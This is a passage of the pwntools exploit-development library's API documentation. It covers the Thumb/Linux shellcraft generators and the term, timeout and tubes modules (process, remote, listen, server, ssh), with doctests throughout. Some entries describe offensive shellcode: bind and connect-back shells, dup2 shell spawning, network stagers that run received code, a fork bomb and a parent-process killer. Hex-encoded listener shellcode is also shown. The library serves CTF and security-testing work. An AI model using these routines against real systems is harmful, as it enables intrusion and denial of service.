Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.thumb.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).
↪recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.thumb.linux.connect` (*host, port, network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in R6.

`pwnlib.shellcraft.thumb.linux.connectstager` (*host, port, network='ipv4'*)

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.thumb.linux.dup(sock='r6')`

Args: [sock (imm/reg) = r6] Duplicates sock to stdin, stdout and stderr

`pwnlib.shellcraft.thumb.linux.dupsh(sock='r6')`

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.thumb.linux.echo(string, sock='I')`

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwnlib.shellcraft.thumb.linux.findpeer(port)`

Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in r6.

Example

```
>>> enhex(asm(shellcraft.findpeer(1337)))

↪ '6ff00006ee4606f101064ff001074fea072707f11f07f54630461fb401a96a4601df0130efdd01994fea11414ff03'
↪ '
```

`pwnlib.shellcraft.thumb.linux.findpeersh(port)`

Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.thumb.linux.findpeerstager(port=None)`

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwnlib.shellcraft.thumb.linux.forkbomb()`

Performs a forkbomb attack.

`pwnlib.shellcraft.thumb.linux.forkexit()`

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.thumb.linux.killparent()`

Kills its parent process until whatever the parent is (probably init) cannot be killed any longer.

`pwnlib.shellcraft.thumb.linux.listen(port, network)`

Listens on a TCP port, accept a client and leave his socket in r6. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

Example

```
>>> enhex(asm(shellcraft.listen(1337, 'ipv4'))

↪ '4ff001074fea072707f119074ff002004ff0010182ea020201df0646004901e00200053906b469464ff0100207f10'
↪ '
```

`pwnlib.shellcraft.thumb.linux.loader(address)`

Loads a statically-linked ELF into memory and transfers control.

Parameters `address` (*int*) – Address of the ELF as a register or integer.

`pwnlib.shellcraft.thumb.linux.loader_append` (*data=None*)

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters *data* (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example:

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
>>> gcc = process(['arm-linux-gnueabi-gcc', '-xc', '-static', '-Wl,-Ttext-
↳segment=0x20000000', '-'])
>>> gcc.write(b'''
... #include <stdio.h>
... int main() {
...     printf("Hello, %s!\n", "world");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True) and gcc.recvall()
0
>>> sc = shellcraft.loader_append('a.out')
>>> run_assembly(sc).recvline()
b'Hello, world!\n'
```

`pwnlib.shellcraft.thumb.linux.readfile` (*path, dst='r6'*)

Args: [*path*, *dst* (imm/reg) = *r6*] Opens the specified file path and sends its content to the specified file descriptor. Leaves the destination file descriptor in *r6* and the input file descriptor in *r5*.

`pwnlib.shellcraft.thumb.linux.readn` (*fd, buf, nbytes*)

Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- *fd* (*int*) – *fd*
- *buf* (*void*) – *buf*
- *nbytes* (*size_t*) – *nbytes*

`pwnlib.shellcraft.thumb.linux.recvsize` (*sock, reg='r1'*)

Recv 4 bytes size field Useful in conjunction with `findpeer` and `stager` :param *sock*, the socket to read the payload from.: :param *reg*, the place to put the size: :type *reg*, the place to put the size: default *ecx*

Leaves socket in *ebx*

`pwnlib.shellcraft.thumb.linux.sh` ()

Execute a different process.

```
>>> p = run_assembly(shellcraft.thumb.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.stage` (*fd=0, length=None*)

Migrates shellcode to a new buffer.

Parameters

- *fd* (*int*) – Integer file descriptor to recv data from. Default is *stdin* (0).

- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
b'Hello\n'
```

`pwnlib.shellcraft.thumb.linux.stager` (*sock*, *size*)

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in `r6`.

`pwnlib.shellcraft.thumb.linux.syscall` (*syscall=None*, *arg0=None*, *arg1=None*, *arg2=None*, *arg3=None*, *arg4=None*, *arg5=None*, *arg6=None*)

Args: [*syscall_number*, **args*] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print(shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip())
/* call syscall(11, 1, 'sp', 2, 0) */
mov r0, #1
mov r1, sp
mov r2, #2
eor r3, r3
mov r7, #0xb
svc 0x41
>>> print(shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip())
/* call exit(0) */
eor r0, r0
mov r7, #SYS_exit /* 1 */
svc 0x41
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip()) #doctest: +ELLIPSIS
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
mov r7, #(0x6761 >> 8)
lsl r7, #8
add r7, #(0x6761 & 0xff)
push {r7}
ldr r7, value_...
b value_..._after
value_...: .word 0x6c662f6e
value_..._after:
push {r7}
ldr r7, value_...
b value_..._after
value_...: .word 0x77702f65
value_..._after:
push {r7}
ldr r7, value_...
```

(continues on next page)

(continued from previous page)

```

    b value_..._after
value_...: .word 0xd6f682f
value_..._after:
    push {r7}
    mov r0, sp
    eor r1, r1
    eor r2, r2
    /* call open() */
    mov r7, #SYS_open /* 5 */
    svc 0x41

```

2.25 pwnlib.term — Terminal handling

`pwnlib.term.can_init()`

This function returns `True` iff `stderr` is a TTY and we are not inside a REPL. Iff this function returns `True`, a call to `init()` will let `pwnlib` manage the terminal.

`pwnlib.term.init()`

Calling this function will take over the terminal (iff `can_init()` returns `True`) until the current python interpreter is closed.

It is on our TODO, to create a function to “give back” the terminal without closing the interpreter.

`pwnlib.term.term_mode = False`

This is `True` exactly when we have taken over the terminal using `init()`.

2.25.1 Term Modules

2.26 pwnlib.timeout — Timeout handling

Timeout encapsulation, complete with countdowns and scope managers.

`class pwnlib.timeout.Maximum`

`class pwnlib.timeout.Timeout (timeout=pwnlib.timeout.Timeout.default)`

Implements a basic class which has a timeout, and support for scoped timeout countdowns.

Valid timeout values are:

- `Timeout.default` use the global default value (`context.default`)
- `Timeout.forever` or `None` never time out
- Any positive float, indicates timeouts in seconds

Example

```

>>> context.timeout = 30
>>> t = Timeout()
>>> t.timeout == 30
True
>>> t = Timeout(5)
>>> t.timeout == 5

```

(continues on next page)

(continued from previous page)

```
True
>>> i = 0
>>> with t.countdown():
...     print(4 <= t.timeout and t.timeout <= 5)
...
True
>>> with t.countdown(0.5):
...     while t.timeout:
...         print(round(t.timeout,1))
...         time.sleep(0.1)
0.5
0.4
0.3
0.2
0.1
>>> print(t.timeout)
5.0
>>> with t.local(0.5):
...     for i in range(5):
...         print(round(t.timeout,1))
...         time.sleep(0.1)
0.5
0.5
0.5
0.5
0.5
>>> print(t.timeout)
5.0
```

countdown (*timeout=pwnlib.timeout.Timeout.default*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

When accessing *timeout* within the scope, it will be calculated against the time when the scope was entered, in a countdown fashion.

If None is specified for *timeout*, then the current timeout is used is made. This allows None to be specified as a default argument with less complexity.

local (*timeout*)

Scoped timeout setter. Sets the timeout within the scope, and restores it when leaving the scope.

timeout_change ()

Callback for subclasses to hook a timeout change.

default = **pwnlib.timeout.Timeout.default**

Value indicating that the timeout should not be changed

forever = **None**

Value indicating that a timeout should not ever occur

maximum = **pwnlib.timeout.maximum**

Maximum value for a timeout. Used to get around platform issues with very large timeouts.

OSX does not permit setting socket timeouts to $2^{**}22$. Assume that if we receive a timeout of $2^{**}21$ or greater, that the value is effectively infinite.

timeout

Timeout for obj operations. By default, uses `context.timeout`.

2.27 pwnlib.tubes — Talking to the World!

The pwnlib is not a big truck! It's a series of tubes!

This is our library for talking to sockets, processes, ssh connections etc. Our goal is to be able to use the same API for e.g. remote TCP servers, local TTY-programs and programs run over SSH.

It is organized such that the majority of the functionality is implemented in `pwnlib.tubes.tube`. The remaining classes should only implement just enough for the class to work and possibly code pertaining only to that specific kind of tube.

2.27.1 Types of Tubes

`pwnlib.tubes.buffer` — buffer implementation for tubes

exception `pwnlib.tubes.buffer.Buffer` (*buffer_fill_size=None*)
List of strings with some helper routines.

Example

```
>>> b = Buffer()
>>> b.add(b"A" * 10)
>>> b.add(b"B" * 10)
>>> len(b)
20
>>> b.get(1)
b'A'
>>> len(b)
19
>>> b.get(9999)
b'AAAAAAAAABBBBBBBBBB'
>>> len(b)
0
>>> b.get(1)
b''
```

Implementation Details:

Implemented as a list. Strings are added onto the end. The 0th item in the buffer is the oldest item, and will be received first.

add (*data*)

Adds data to the buffer.

Parameters *data* (*str*, *Buffer*) – Data to add

get (*want=inf*)

Retrieves bytes from the buffer.

Parameters *want* (*int*) – Maximum number of bytes to fetch

Returns Data as string

Example

```
>>> b = Buffer()
>>> b.add(b'hello')
>>> b.add(b'world')
>>> b.get(1)
b'h'
>>> b.get()
b'elloworld'
```

get_fill_size (*size=None*)

Retrieves the default fill size for this buffer class.

Parameters **size** (*int*) – (Optional) If set and not None, returns the size variable back.

Returns Fill size as integer if size == None, else size.

index (*x*)

```
>>> b = Buffer()
>>> b.add(b'asdf')
>>> b.add(b'qwert')
>>> b.index(b't') == len(b) - 1
True
```

unget (*data*)

Places data at the front of the buffer.

Parameters **data** (*str, Buffer*) – Data to place at the beginning of the buffer.

Example

```
>>> b = Buffer()
>>> b.add(b"hello")
>>> b.add(b"world")
>>> b.get(5)
b'hello'
>>> b.unget(b"goodbye")
>>> b.get()
b'goodbyeworld'
```

pwnlib.tubes.process — Processes

class pwnlib.tubes.process.process (*argv=None, shell=False, executable=None, cwd=None, env=None, stdin=-1, stdout=<pwnlib.tubes.process.PTY object>, stderr=-2, close_fds=True, pre_exec_fn=<function <lambda>>, raw=True, aslr=None, setuid=None, where='local', display=None, alarm=None, *args, **kwargs*)

Bases: *pwnlib.tubes.tube.tube*

Spawns a new process, and wraps it with a tube for communication.

Parameters

- **argv** (*list*) – List of arguments to pass to the spawned process.

- **shell** (*bool*) – Set to *True* to interpret *argv* as a string to pass to the shell for interpretation instead of as *argv*.
- **executable** (*str*) – Path to the binary to execute. If *None*, uses *argv[0]*. Cannot be used with *shell*.
- **cwd** (*str*) – Working directory. Uses the current working directory by default.
- **env** (*dict*) – Environment variables. By default, inherits from Python’s environment.
- **stdin** (*int*) – File object or file descriptor number to use for *stdin*. By default, a pipe is used. A *pty* can be used instead by setting this to *PTY*. This will cause programs to behave in an interactive manner (e.g., *python* will show a *>>>* prompt). If the application reads from */dev/tty* directly, use a *pty*.
- **stdout** (*int*) – File object or file descriptor number to use for *stdout*. By default, a *pty* is used so that any *stdout* buffering by *libc* routines is disabled. May also be *PIPE* to use a normal pipe.
- **stderr** (*int*) – File object or file descriptor number to use for *stderr*. By default, *STDOUT* is used. May also be *PIPE* to use a separate pipe, although the *pwnlib.tubes.tube.tube* wrapper will not be able to read this data.
- **close_fds** (*bool*) – Close all open file descriptors except *stdin*, *stdout*, *stderr*. By default, *True* is used.
- **preexec_fn** (*callable*) – Callable to invoke immediately before calling *execve*.
- **raw** (*bool*) – Set the created *pty* to raw mode (i.e. disable echo and control characters). *True* by default. If no *pty* is created, this has no effect.
- **aslr** (*bool*) – If set to *False*, disable ASLR via *personality* (*setarch -R*) and *setrlimit* (*ulimit -s unlimited*).

This disables ASLR for the target process. However, the *setarch* changes are lost if a *setuid* binary is executed.

The default value is inherited from *context.aslr*. See *setuid* below for additional options and information.

- **setuid** (*bool*) – Used to control *setuid* status of the target binary, and the corresponding actions taken.

By default, this value is *None*, so no assumptions are made.

If *True*, treat the target binary as *setuid*. This modifies the mechanisms used to disable ASLR on the process if *aslr=False*. This is useful for debugging locally, when the exploit is a *setuid* binary.

If *False*, prevent *setuid* bits from taking effect on the target binary. This is only supported on Linux, with kernels v3.5 or greater.

- **where** (*str*) – Where the process is running, used for logging purposes.
- **display** (*list*) – List of arguments to display, instead of the main executable name.
- **alarm** (*int*) – Set a *SIGALRM* alarm timeout on the process.

Examples

```
>>> p = process('python2')
>>> p.sendline(b"print 'Hello world'")
>>> p.sendline(b"print 'Wow, such data'");
>>> b'' == p.recv(timeout=0.01)
True
>>> p.shutdown('send')
>>> p.proc.stdin.closed
True
>>> p.connected('send')
False
>>> p.recvline()
b'Hello world\n'
>>> p.recvuntil(b',')
b'Wow, '
>>> p.recvregex(b'.*data')
b' such data'
>>> p.recv()
b'\n'
>>> p.recv() # doctest: +ELLIPSIS
Traceback (most recent call last):
...
EOFError
```

```
>>> p = process('cat')
>>> d = open('/dev/urandom', 'rb').read(4096)
>>> p.recv(timeout=0.1)
b''
>>> p.write(d)
>>> p.recvrepeat(0.1) == d
True
>>> p.recv(timeout=0.1)
b''
>>> p.shutdown('send')
>>> p.wait_for_close()
>>> p.poll()
0
```

```
>>> p = process('cat /dev/zero | head -c8', shell=True, stderr=open('/dev/null',
↳ 'w+b'))
>>> p.recv()
b'\x00\x00\x00\x00\x00\x00\x00\x00'
```

```
>>> p = process(['python', '-c', 'import os; print(os.read(2,1024).decode())'],
...             preexec_fn = lambda: os.dup2(0,2))
>>> p.sendline(b'hello')
>>> p.recvline()
b'hello\n'
```

```
>>> stack_smashing = ['python', '-c', 'open("/dev/tty", "wb").write(b"stack smashing_
↳ detected")']
>>> process(stack_smashing).recvall()
b'stack smashing detected'
```

```
>>> process(stack_smashing, stdout=PIPE).recvall()
b''
```

```
>>> getpass = ['python', '-c', 'import getpass; print(getpass.getpass("XXX"))']
>>> p = process(getpass, stdin=PTY)
>>> p.recv()
b'XXX'
>>> p.sendline(b'hunter2')
>>> p.recvall()
b'\nhunter2\n'
```

```
>>> process('echo hello 1>&2', shell=True).recvall()
b'hello\n'
```

```
>>> process('echo hello 1>&2', shell=True, stderr=PIPE).recvall()
b''
```

```
>>> a = process(['cat', '/proc/self/maps']).recvall()
>>> b = process(['cat', '/proc/self/maps'], aslr=False).recvall()
>>> with context.local(aslr=False):
...     c = process(['cat', '/proc/self/maps']).recvall()
>>> a == b
False
>>> b == c
True
```

```
>>> process(['sh', '-c', 'ulimit -s'], aslr=0).recvline()
b'unlimited\n'
```

```
>>> io = process(['sh', '-c', 'sleep 10; exit 7'], alarm=2)
>>> io.poll(block=True) == -signal.SIGALRM
True
```

```
>>> binary = ELF.from_assembly('nop', arch='mips')
>>> p = process(binary.path)
```

can_recv_raw(*timeout*) → bool

Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close()

Closes the tube.

communicate(*stdin = None*) → str

Calls `subprocess.Popen.communicate()` method on the process.

connected_raw(*direction*)

connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno() → int

Returns the file number used for reading.

kill()

Kills the process.

leak(*address, count=1*)

Leaks memory within the process at the specified address.

Parameters

- **address** (*int*) – Address to leak memory at
- **count** (*int*) – Number of bytes to leak at that address.

Example

```
>>> e = ELF('/bin/bash-static')
>>> p = process(e.path)
```

In order to make sure there's not a race condition against the process getting set up...

```
>>> p.sendline(b'echo hello')
>>> p.recvuntil(b'hello')
b'hello'
```

Now we can leak some data!

```
>>> p.leak(e.address, 4)
b'\x7fELF'
```

libs () → dict

Return a dictionary mapping the path of each shared library loaded by the process to the address it is loaded at in the process' address space.

poll (*block = False*) → int

Parameters **block** (*bool*) – Wait for the process to exit

Poll the exit code of the process. Will return None, if the process has not yet finished and the exit code otherwise.

recv_raw (*numb*) → str

Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (*data*)

Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (*timeout*)

Should not be called directly. Sets the timeout for the tube.

shutdown_raw (*direction*)

Should not be called directly. Closes the tube for further reading or writing.

alarm = None

Alarm timeout of the process

argv = None

Arguments passed on argv

aslr = None

Whether ASLR should be left on

corefile

Returns a corefile for the process.

If the process is alive, attempts to create a coredump with GDB.

If the process is dead, attempts to locate the core dump created by the kernel.

cwd

Directory that the process is working in.

Example

```
>>> p = process('sh')
>>> p.sendline(b'cd /tmp; echo AAA')
>>> _ = p.recvuntil(b'AAA')
>>> p.cwd == '/tmp'
True
>>> p.sendline(b'cd /proc; echo BBB;')
>>> _ = p.recvuntil(b'BBB')
>>> p.cwd
'/proc'
```

elf

Returns an ELF file for the executable that launched the process.

env = None

Environment passed on envp

executable = None

Full path to the executable

libc

Returns an ELF for the libc for the current process. If possible, it is adjusted to the correct address automatically.

Example:

```
>>> p = process("/bin/cat")
>>> libc = p.libc
>>> libc # doctest: +SKIP
ELF('/lib64/libc-...so')
>>> p.close()
```

proc = None

`subprocess.Popen` object that backs this process

program

Alias for `executable`, for backward compatibility.

Example

```
>>> p = process('true')
>>> p.executable == '/bin/true'
True
>>> p.executable == p.program
True
```

pty = None

Which file descriptor is the controlling TTY

raw = None

Whether the controlling TTY is set to raw mode

stderr

Shorthand for `self.proc.stderr`

See: [process.proc](#)

stdin

Shorthand for `self.proc.stdin`

See: [process.proc](#)

stdout

Shorthand for `self.proc.stdout`

See: [process.proc](#)

pwnlib.tubes.serialtube — Serial Ports

```
class pwnlib.tubes.serialtube.serialtube (port=None,          baudrate=115200,          con-
                                          vert_newlines=True,  bytesize=8,   parity='N',
                                          stopbits=1,    xonxoff=False,  rtscts=False,
                                          dsrdtr=False, *a, **kw)
```

can_recv_raw (timeout) → bool

Should not be called directly. Returns True, if there is data available within the timeout, but ignores the buffer on the object.

close ()

Closes the tube.

connected_raw (direction)

connected(direction = 'any') -> bool

Should not be called directly. Returns True iff the tube is connected in the given direction.

fileno () → int

Returns the file number used for reading.

recv_raw (numb) → str

Should not be called directly. Receives data without using the buffer on the object.

Unless there is a timeout or closed connection, this should always return data. In case of a timeout, it should return None, in case of a closed connection it should raise an `exceptions.EOFError`.

send_raw (data)

Should not be called directly. Sends data to the tube.

Should return `exceptions.EOFError`, if it is unable to send any more, because of a close tube.

settimeout_raw (timeout)

Should not be called directly. Sets the timeout for the tube.

shutdown_raw (direction)

Should not be called directly. Closes the tube for further reading or writing.

pwnlib.tubes.sock — Sockets

```
class pwnlib.tubes.sock.sock
```

Bases: [pwnlib.tubes.tube.tube](#)

Base type used for `tubes.remote` and `tubes.listen` classes

```
class pwnlib.tubes.remote.remote(host, port, fam='any', typ='tcp', ssl=False, sock=None,  
                                ssl_args=None, *args, **kwargs)
```

Bases: `pwnlib.tubes.sock.sock`

Creates a TCP or UDP-connection to a remote host. It supports both IPv4 and IPv6.

The returned object supports all the methods from `pwnlib.tubes.sock` and `pwnlib.tubes.tube`.

Parameters

- **host** (*str*) – The host to connect to.
- **port** (*int*) – The port to connect to.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **timeout** – A positive number, None or the string “default”.
- **ssl** (*bool*) – Wrap the socket with SSL
- **sock** (*socket.socket*) – Socket to inherit, rather than connecting
- **ssl_args** (*dict*) – Pass `ssl.wrap_socket` named arguments in a dictionary.

Examples

```
>>> r = remote('google.com', 443, ssl=True)
>>> r.send(b'GET /\r\n\r\n')
>>> r.recv(4)
b'HTTP'
```

If a connection cannot be made, an exception is raised.

```
>>> r = remote('127.0.0.1', 1)
Traceback (most recent call last):
...
PwnlibException: Could not connect to 127.0.0.1 on port 1
```

You can also use `remote.fromsocket()` to wrap an existing socket.

```
>>> import socket
>>> s = socket.socket()
>>> s.connect(('google.com', 80))
>>> s.send(b'GET /' + b'\r\n'*2)
9
>>> r = remote.fromsocket(s)
>>> r.recv(4)
b'HTTP'
```

classmethod fromsocket (*socket*)

Helper method to wrap a standard python `socket.socket` with the tube APIs.

Parameters **socket** – Instance of `socket.socket`

Returns Instance of `pwnlib.tubes.remote.remote`.

```
class pwnlib.tubes.listen.listen(port=0, bindaddr='0.0.0.0', fam='any', typ='tcp', *args,  
                                **kwargs)
```

Bases: `pwnlib.tubes.sock.sock`

Creates an TCP or UDP-socket to receive data on. It supports both IPv4 and IPv6.

The returned object supports all the methods from `pwnlib.tubes.sock` and `pwnlib.tubes.tube`.

Parameters

- **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (*str*) – The address to bind to. Defaults to `0.0.0.0 / ::`.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.

Examples

```
>>> l = listen(1234)
>>> r = remote('localhost', l.lport)
>>> _ = l.wait_for_connection()
>>> l.sendline(b'Hello')
>>> r.recvline()
b'Hello\n'
```

```
>>> l = listen()
>>> l.spawn_process('/bin/sh')
>>> r = remote('localhost', l.lport)
>>> r.sendline(b'echo Goodbye')
>>> r.recvline()
b'Goodbye\n'
```

close()

Closes the tube.

spawn_process (*args, **kwargs)

Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

wait_for_connection()

Blocks until a connection has been established.

canonname = None

Canonical name of the listening interface

family = None

Socket family

lhost = None

Local host

lport = 0

Local port

protocol = None

Socket protocol

sockaddr = None

Sockaddr structure that is being listened on

type = None

Socket type (e.g. socket.SOCK_STREAM)

class pwnlib.tubes.server.server (port=0, bindaddr='0.0.0.0', fam='any', typ='tcp', callback=None, blocking=False, *args, **kwargs)

Bases: `pwnlib.tubes.sock.sock`

Creates an TCP or UDP-server to listen for connections. It supports both IPv4 and IPv6.

Parameters

- **port** (*int*) – The port to connect to. Defaults to a port auto-selected by the operating system.
- **bindaddr** (*str*) – The address to bind to. Defaults to 0.0.0.0 / ::.
- **fam** – The string “any”, “ipv4” or “ipv6” or an integer to pass to `socket.getaddrinfo()`.
- **typ** – The string “tcp” or “udp” or an integer to pass to `socket.getaddrinfo()`.
- **callback** – A function to be started on incoming connections. It should take a `pwnlib.tubes.remote` as its only argument.

Examples

```
>>> s = server(8888)
>>> client_conn = remote('localhost', s.lport)
>>> server_conn = s.next_connection()
>>> client_conn.sendline(b'Hello')
>>> server_conn.recvline()
b'Hello\n'
>>> def cb(r):
...     client_input = r.readline()
...     r.send(client_input[:-1])
...
>>> t = server(8889, callback=cb)
>>> client_conn = remote('localhost', t.lport)
>>> client_conn.sendline(b'callback')
>>> client_conn.recv()
b'\nkcabllac'
```

close()

Closes the tube.

canonicalname = None

Canonical name of the listening interface

family = None

Socket family

lhost = None

Local host

lport = 0

Local port

protocol = None

Socket protocol

sockaddr = None

Sockaddr structure that is being listened on

type = None

Socket type (e.g. socket.SOCK_STREAM)

pwnlib.tubes.ssh — SSH

class pwnlib.tubes.ssh.ssh(*user=None, host=None, port=22, password=None, key=None, keyfile=None, proxy_command=None, proxy_sock=None, level=None, cache=True, ssh_agent=False, *a, **kw*)

Creates a new ssh connection.

Parameters

- **user** (*str*) – The username to log in with
- **host** (*str*) – The hostname to connect to
- **port** (*int*) – The port to connect to
- **password** (*str*) – Try to authenticate using this password
- **key** (*str*) – Try to authenticate using this private key. The string should be the actual private key.
- **keyfile** (*str*) – Try to authenticate using this private key. The string should be a filename.
- **proxy_command** (*str*) – Use this as a proxy command. It has approximately the same semantics as ProxyCommand from ssh(1).
- **proxy_sock** (*str*) – Use this socket instead of connecting to the host.
- **timeout** – Timeout, in seconds
- **level** – Log level
- **cache** – Cache downloaded files (by hash/size/timestamp)
- **ssh_agent** – If True, enable usage of keys via ssh-agent

NOTE: The proxy_command and proxy_sock arguments is only available if a fairly new version of paramiko is used.

Example proxying:

```
>>> s1 = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> r1 = s1.remote('localhost', 22)
>>> s2 = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass',
...         proxy_sock=r1.sock)
>>> r2 = s2.remote('localhost', 22) # and so on...
>>> for x in r2, s2, r1, s1: x.close()
```

checksec()

Prints a helpful message about the remote system.

Parameters **banner** (*bool*) – Whether to print the path to the ELF binary.

close()

Close the connection.

connect_remote (*host, port, timeout = Timeout.default*) → *ssh_connector*

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_connector` object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> a=a; b = l.wait_for_connection() # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

connected()

Returns True if we are connected.

Example

```
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
```

download (*file_or_directory, local=None*)

Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

download_data (*remote*)

Downloads a file from the remote server and returns it as a string.

Parameters **remote** (*str*) – The remote filename to download.

Examples

```
>>> with open('/tmp/bar', 'w+') as f:
...     _ = f.write('Hello, world')
>>> s = ssh(host='example.pwnme',
...         user='runner',
```

(continues on next page)

(continued from previous page)

```
...         password='demopass',
...         cache=False)
>>> s.download_data('/tmp/bar')
b'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
b'Hello, world'
```

download_dir (*remote=None, local=None*)

Recursively downloads a directory from the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

download_file (*remote, local=None*)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- **remote** (*str*) – The remote filename to download
- **local** (*str*) – The local filename to save it to. Default is to infer it from the remote filename.

get (*file_or_directory, local=None*)

download(file_or_directory, local=None)

Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

getenv (*variable, **kwargs*)

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as `argv[0]`. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with `argv= []`.

interactive (*shell=None*)

Create an interactive session.

This is a simple wrapper for creating a new `pwnlib.tubes.ssh.ssh_channel` object and calling `pwnlib.tubes.ssh.ssh_channel.interactive()` on it.

libs (*remote, directory=None*)

Downloads the libraries referred to by a file.

This is done by running `ldd` on the remote server, parsing the output and downloading the relevant files.

The directory argument specified where to download the files. This defaults to `./$HOSTNAME` where `$HOSTNAME` is the hostname of the remote server.

listen (*port=0, bind_address="", timeout=pwnlib.timeout.Timeout.default*)
 listen_remote(*port=0, bind_address="", timeout=Timeout.default*) -> ssh_connector

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> a=a; b = l.wait_for_connection() # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

listen_remote (*port=0, bind_address="", timeout=Timeout.default*) → ssh_connector

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...         user='runner',
...         password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> a=a; b = l.wait_for_connection() # a=a; prevents hangs
>>> a.sendline(b'Hello')
>>> print(repr(b.recvline()))
b'Hello\n'
```

process (*argv=None, executable=None, tty=True, cwd=None, env=None, timeout=pwnlib.timeout.Timeout.default, run=True, stdin=0, stdout=1, stderr=2, preexec_fn=None, preexec_args=(), raw=True, aslr=None, setuid=None, shell=False*)

Executes a process on the remote server, in the same fashion as `pwnlib.tubes.process.process`.

To achieve this, a Python script is created to call `os.execve` with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

Parameters

- **argv** (*list*) – List of arguments to pass into the process
- **executable** (*str*) – Path to the executable to run. If `None`, `argv[0]` is used.
- **tty** (*bool*) – Request a `tty` from the server. This usually fixes buffering problems by causing `libc` to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. `Ctrl+C`) and breaks `.shutdown`.
- **cwd** (*str*) – Working directory. If `None`, uses the working directory specified on `cwd` or set via `set_working_directory()`.

